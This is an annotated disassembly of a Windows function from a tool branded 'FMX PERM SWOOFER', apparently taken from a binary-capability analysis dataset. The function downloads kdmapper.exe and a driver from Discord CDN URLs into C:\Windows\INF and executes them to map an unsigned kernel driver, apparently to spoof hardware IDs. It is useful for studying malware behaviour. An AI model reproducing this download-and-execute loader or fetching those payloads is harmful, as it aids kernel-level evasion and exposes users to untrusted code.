Function at 0x140011276
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x140015460
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400290f4]
call fcn.1400115fa
nop
lea rdx, str._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str.Welcome_To_FMX_PERM_SWOOFER__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str.Do_you_want_to_proceed_with_spoofing___y_n_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140011186
nop
movsx eax, byte [rbp + 4]
cmp eax, 0x79
je 0x140015515
movsx eax, byte [rbp + 4]
cmp eax, 0x59
jne 0x1400155dd
lea rdx, str.Press_Any_Key_To_Spoof_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
call qword [sym.imp.ucrtbased.dll__getch]
nop
lea rax, str.https:__cdn.discordapp.com_attachments_1207177231386812416_1266679598603571250_kdmapper.exe_ex66a606ceis66a4b54ehm18a38c344bce5f2ec97fdfb50cd4c83187f79327689aa314e91f2f918e4fe5e7
mov qword [rbp + 0x48], rax
lea rax, str.C:WindowsINFkdmapper.exe
mov qword [rbp + 0x68], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1267418316507451422_1267742539708895254_randomize.sys_ex66abdefeis66aa8d7ehmfd4a54b005e7b86770c482d0d64a563e4ac1e6f0667b4d8faf3d934ec5ffc4c1
mov qword [rbp + 0x88], rax
lea rax, str.C:WindowsINF_randomize.sys
mov qword [rbp + 0xa8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call fcn.14001158c
mov dword [rbp + 0x24], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x88]
xor ecx, ecx
call fcn.14001158c
mov dword [rbp + 0x24], eax
lea rdx, str.C:WindowsINFkdmapper.exe_C:WindowsINF_randomize.sys
lea rcx, [rbp + 0xc8]
call fcn.1400112b7
nop
lea rcx, [rbp + 0xc8]
call fcn.14001109b
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0xc8]
call fcn.140011131
nop
jmp 0x140015619
movsx eax, byte [rbp + 4]
cmp eax, 0x6e
je 0x1400155ef
movsx eax, byte [rbp + 4]
cmp eax, 0x4e
jne 0x140015605
lea rdx, str.Returning_to_main_menu..._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
jmp 0x140015619
lea rdx, str.Invalid_choice._Returning_to_main_menu..._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str._nPress_any_key_to_continue...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
call qword [sym.imp.ucrtbased.dll__getch]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ee40]
call fcn.14001150f
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.14001130c
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret